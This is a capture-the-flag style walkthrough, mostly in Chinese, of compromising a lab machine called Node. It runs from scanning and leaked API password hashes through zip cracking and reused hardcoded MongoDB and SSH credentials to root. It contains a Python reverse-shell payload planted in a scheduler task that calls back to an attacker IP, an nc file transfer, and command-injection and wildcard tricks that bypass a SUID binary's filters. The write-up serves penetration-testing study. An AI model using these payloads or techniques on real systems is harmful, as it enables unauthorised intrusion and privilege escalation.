Scanning and Enumeration:
nmap:
┌──(root💀kali)-[~] └─# nmap -sC -sV 10.10.10.58 Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-14 21:47 EST Nmap scan report for 10.10.10.58 Host is up (0.20s latency). Not shown: 998 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA) | 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA) |_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519) 3000/tcp open hadoop-datanode Apache Hadoop | hadoop-tasktracker-info: |_ Logs: /login |_http-title: MyPlace | hadoop-datanode-info: |_ Logs: /login Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 35.71 seconds //<nmap -p- -T5 10.10.10.58> not new found
發現兩個端口是打開的:
✎22/tcp open ssh OpenSSH 7.2p2
✎3000/tcp open hadoop-datanode Apache Hadoop
✎全端口掃描並未發現新端口
gobuster:
┌──(root💀kali)-[~] └─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.58:3000 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.10.58:3000 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/01/14 22:03:50 Starting gobuster in directory enumeration mode =============================================================== Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.10.58:3000/7743637e-b8fb-4ef0-b489-732c34ea4f35 => 200 (Length: 3861). To continue please exclude the status code, the length or use the --wildcard switch
可惜的是gobuster在這台機器上無法做檢測,因為gobuster做檢測的時候會返回一個狀態碼
而這邊的所有返回狀態碼都是200
下面介紹一下feroxbuster目錄掃描應用以及用手工找突破口的方式
feroxbuster:
┌──(root💀kali)-[~] └─# feroxbuster -u http://10.10.10.58:3000 127 ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.4.1 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://10.10.10.58:3000 🚀 Threads │ 50 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt 👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.4.1 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── WLD 90l 249w 3861c Got 200 for http://10.10.10.58:3000/6396a7d8982e4df7934b97a7604ed510 (url length: 32) WLD - - - Wildcard response is static; auto-filtering 3861 responses; toggle this behavior by using --dont-filter WLD 90l 249w 3861c Got 200 for http://10.10.10.58:3000/449dfd58aac049b5ad3540c428419a16ba5f7ddb14b4444baab8ae62eb745f83b43c8cae1c954efd821f7e13fa044374 (url length: 96) 301 9l 15w 173c http://10.10.10.58:3000/uploads 301 9l 15w 171c http://10.10.10.58:3000/assets 301 9l 15w 171c http://10.10.10.58:3000/vendor 301 9l 15w 175c http://10.10.10.58:3000/partials [####################] - 39m 149995/149995 0s found:6 errors:39976 [####################] - 38m 30001/29999 12/s http://10.10.10.58:3000 [####################] - 38m 29999/29999 12/s http://10.10.10.58:3000/uploads [####################] - 38m 29999/29999 12/s http://10.10.10.58:3000/assets [####################] - 36m 29999/29999 13/s http://10.10.10.58:3000/vendor [####################] - 27m 29999/29999 17/s http://10.10.10.58:3000/partials
可惜目錄掃描結果沒有甚麼可以利用的,查看burpsuite的HTTP response發現
X-Powered-By: Express,這是一款基於 NodeJS 的 JavaScript 框架
並且單純載入首頁時候,就載入這麼多份檔案了
再一一分別打開來看裡面是什麼
HTTP/1.1 304 Not Modified X-Powered-By: Express Accept-Ranges: bytes Cache-Control: public, max-age=0 Last-Modified: Sat, 02 Sep 2017 11:27:58 GMT ETag: W/"f15-15e4258ef70" Date: Sat, 15 Jan 2022 04:49:15 GMT Connection: close
<script type="text/javascript" src="vendor/jquery/jquery.min.js"></script> <script type="text/javascript" src="vendor/bootstrap/js/bootstrap.min.js"></script> <script type="text/javascript" src="vendor/angular/angular.min.js"></script> <script type="text/javascript" src="vendor/angular/angular-route.min.js"></script> <script type="text/javascript" src="assets/js/app/app.js"></script> <script type="text/javascript" src="assets/js/app/controllers/home.js"></script> <script type="text/javascript" src="assets/js/app/controllers/login.js"></script> <script type="text/javascript" src="assets/js/app/controllers/admin.js"></script> <script type="text/javascript" src="assets/js/app/controllers/profile.js"></script> <script type="text/javascript" src="assets/js/misc/freelancer.min.js"></script>
載入首頁的時候引用了/api/users/latest,神奇的事情是裡面包含著使用者的帳號和密碼!!
但是目前的三組使用者都沒有admin權限,”is_admin”: false
[ { "_id": "59a7368398aa325cc03ee51d", "username": "tom", "password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240", "is_admin": false }, { "_id": "59a7368e98aa325cc03ee51e", "username": "mark", "password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73", "is_admin": false }, { "_id": "59aa9781cced6f1d1490fce9", "username": "rastating", "password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0", "is_admin": false } ]
profile.js -> /api/users/’ + $routeParams.username
try curl -s 10.10.10.58:3000/api/users/mark | jq
visit /api/users
get admin authenticated account!!
[ { "_id": "59a7365b98aa325cc03ee51c", "username": "myP14ceAdm1nAcc0uNT", "password": "dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af", "is_admin": true },
使用crackstation解密工具,重要得是管理員密碼拿到囉!
myP14ceAdm1nAcc0uNT / manchester
登入之後可以下載這個網站的站點備份
使用file確定檔案類型
檔案裡面是ASCII text類型
使用base64 方式解密得知檔案是zip檔
將檔案副檔名改名為zip檔並且解壓縮它
但是需要密碼才能解壓縮,使用fcrackzip
┌──(root💀kali)-[~/Desktop/OSCP/Node] └─# file myplace.backup myplace.backup: ASCII text, with very long lines (65536), with no line terminators ┌──(root💀kali)-[~/Desktop/OSCP/Node] └─# base64 -d myplace.backup > myplace ┌──(root💀kali)-[~/Desktop/OSCP/Node] └─# ls myplace myplace.backup ┌──(root💀kali)-[~/Desktop/OSCP/Node] └─# file myplace myplace: Zip archive data, at least v1.0 to extract, compression method=store ┌──(root💀kali)-[~/Desktop/OSCP/Node] └─# mv myplace myplace.zip ┌──(root💀kali)-[~/Desktop/OSCP/Node] └─# unzip myplace.zip Archive: myplace.zip creating: var/www/myplace/ [myplace.zip] var/www/myplace/package-lock.json password:
┌──(root💀kali)-[~/Desktop/OSCP/Node] └─# fcrackzip -h fcrackzip version 1.0, a fast/free zip password cracker written by Marc Lehmann <[email protected]> You can find more info on http://www.goof.com/pcg/marc/ USAGE: fcrackzip [-b|--brute-force] use brute force algorithm [-D|--dictionary] use a dictionary [-B|--benchmark] execute a small benchmark [-c|--charset characterset] use characters from charset [-h|--help] show this message [--version] show the version of this program [-V|--validate] sanity-check the algorithm [-v|--verbose] be more verbose [-p|--init-password string] use string as initial password/file [-l|--length min-max] check password with length min to max [-u|--use-unzip] use unzip to weed out wrong passwords [-m|--method num] use method number "num" (see below) [-2|--modulo r/m] only calculcate 1/m of the password file... the zipfiles to crack methods compiled in (* = default): 0: cpmask 1: zip1 *2: zip2, USE_MULT_TAB ┌──(root💀kali)-[~/Desktop/OSCP/Node] └─# fcrackzip -D -p /usr/share/wordlists/rockyou.txt myplace.zip possible pw found: magicword () -D:暴力破解 -p:使用指定字典檔 password:magicword
將檔案解壓縮之後,/var/www/myplace/app.js裡面發現一些敏感數據
是一個連接mongodb的帳號密碼
mark / 5AYRft73VtFpc84k
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace'; const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
exploit:
ssh [email protected] //這邊可以使用ssh連線進去只是剛好巧合它的mongodb的密碼和ssh密碼一樣
由於user是在tom權限底下,所以現在需要先取得tom的權限
ps -ef | grep tom 可以把tom權限執行的程式都顯示出來
mark@node:/home/tom$ ps -ef | grep tom tom 1229 1 0 03:27 ? 00:00:01 /usr/bin/node /var/scheduler/app.js tom 1232 1 0 03:27 ? 00:00:01 /usr/bin/node /var/www/myplace/app.js mark 1524 1502 0 03:41 pts/0 00:00:00 grep --color=auto tom
tom正在執行兩隻程式,有一隻看起來比較屬於scheduler
所以我們要去修改這隻程式,把reverse shell放進去讓tom執行就可以拿到tom的權限了
登入mongodb:
mark@node:~$ mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler MongoDB shell version: 3.2.16 connecting to: localhost:27017/scheduler > db scheduler > show collections tasks > db.tasks.find() > db.tasks.insert({cmd: "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.3\",7788));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"}) WriteResult({ "nInserted" : 1 }) > db.tasks.find() { "_id" : ObjectId("61e51a31b013293c47917638"), "cmd" : "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.3\",7788));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" } >
db.tasks.insert({cmd: "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.3\",7788));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"})
db:顯示資料庫名稱 show collections : 等同於show tables db.tasks.find() : 顯示待執行的命令
Privilege Escalation
透過LinEnum.sh發現這個檔案是由root權限執行,並且這份檔案在app.js當中有被調用到
[-] SUID files: -rwsr-xr-- 1 root admin 16484 Sep 3 2017 /usr/local/bin/backup
把檔案導回去本機 nc 10.10.14.4 6666 < /usr/local/bin/backup nc -nvlp 6666 > backup 這份檔案執行的時候需要帶入3個參數 1.-q 2.backup key (45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474) 3.A directory path
./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root [+] Finished! Encoded backup is below: UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA== 把解出來這串文字放入txt當中再用base64來解密 ┌──(root💀kali)-[~/Desktop/OSCP/Node] └─# nano r.txt 2 ⚙ ┌──(root💀kali)-[~/Desktop/OSCP/Node] └─# base64 -d r.txt > r ┌──(root💀kali)-[~/Desktop/OSCP/Node] └─# file r 2 ⚙ r: Zip archive data, at least v5.1 to extract, compression method=AES Encrypted ┌──(root💀kali)-[~/Desktop/OSCP/Node] └─# mv r r.zip ┌──(root💀kali)-[~/Desktop/OSCP/Node] └─# 7z e r.zip 2 ⚙ 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs Intel(R) Core(TM) i7-8565U CPU @ 1.80GHz (806EB),ASM,AES-NI) Scanning the drive for archives: 1 file, 1141 bytes (2 KiB) Extracting archive: r.zip -- Path = r.zip Type = zip Physical Size = 1141 Enter password (will not be echoed): Everything is Ok Size: 2584 Compressed: 1141 ┌──(root💀kali)-[~/Desktop/OSCP/Node] └─# ls 2 ⚙ backup myplace.backup myplace.zip root.txt r.zip var
簡易說明:
1.使用backup備份之後會跑出一段base64 code
2.放到txt當中進行解密會得到一個7zip檔
3.解壓之後就可以獲得文件
4.可惜的是沒有那麼簡單,沒有獲得正確的root.txt
使用ltrace來觀察看看backup做了甚麼事情
ltrace /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /../../etc
got it…
strstr("/tmp", "..") = nil strstr("/tmp", "/root") = nil strchr("/tmp", ';') = nil strchr("/tmp", '&') = nil strchr("/tmp", '`') = nil strchr("/tmp", '$') = nil strchr("/tmp", '|') = nil strstr("/tmp", "//") = nil strcmp("/tmp", "/") = 1 strstr("/tmp", "/etc") = nil strcpy(0xff98a1ab, "/tmp") = 0xff98a1ab
strstr(), strchr(), strcmp()
三個function都是在做字串替換的行為
字串很明顯是被過濾了,只要有上面的特殊符號, /root, ..就會輸出錯誤的root.txt內容
method1. – Using Wildcards
./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt
method2. – Using the Home Variable
export HOME=/root ./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "~"
method3. – Command Injection
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 " /bin/bash "
use Binary Ninja:
由於backup是binary,所以可以透過binary ninja這類軟體進行分析
載入檔案之後可以點擊view -> Disassembly Graph切換至圖形介面會比較好觀察,再點main觀察主程式內容
如果只要有/root,0x26,0x3b…就會導向失敗輸出笑臉圖
再往下看到push data_8049ee8 {“/usr/bin/zip -r -P magicword %s …”} 是最後做的事情,點data_8049ee8兩下主要做的事情是這三行
1.用zip壓縮並且密碼設定magicword,再給上兩個參數最後把輸出都導向垃圾桶
2.兩個變數 -> %s %s。這部分是我們可以控制的
3.第一個參數正常狀況下是要輸入要備份的路徑,ex:/tmp 如果這邊給到bad character就會輸出笑臉
4.使用command injection。 第一個參數給一個雙引號(“)來跳脫語句
5.輸入 /bin/bash
6.再給一個雙引號(“) 即可成功提權
7. “/usr/bin/zip -r -P magicword %s %s > /dev/null” -> “/usr/bin/zip -r -P magicword ” /bin/bash” > /dev/null”
08049ee8 char const data_8049ee8[0x2f] = "/usr/bin/zip -r -P magicword %s %s > /dev/null", 0 08049f17 char const data_8049f17[0x17] = "/usr/bin/base64 -w0 %s", 0 08049f2e char const data_8049f2e[0x1e] = "The target path doesn\'t exist", 0
Reflections:
1.Weak login credentials and insecure hashing implementation -> the users had chosen easy passwords
2. The backup file we found was zipped with a weak password
3.Hard coded credentials and password reuse
4.The database credentials is the same as the ssh credentials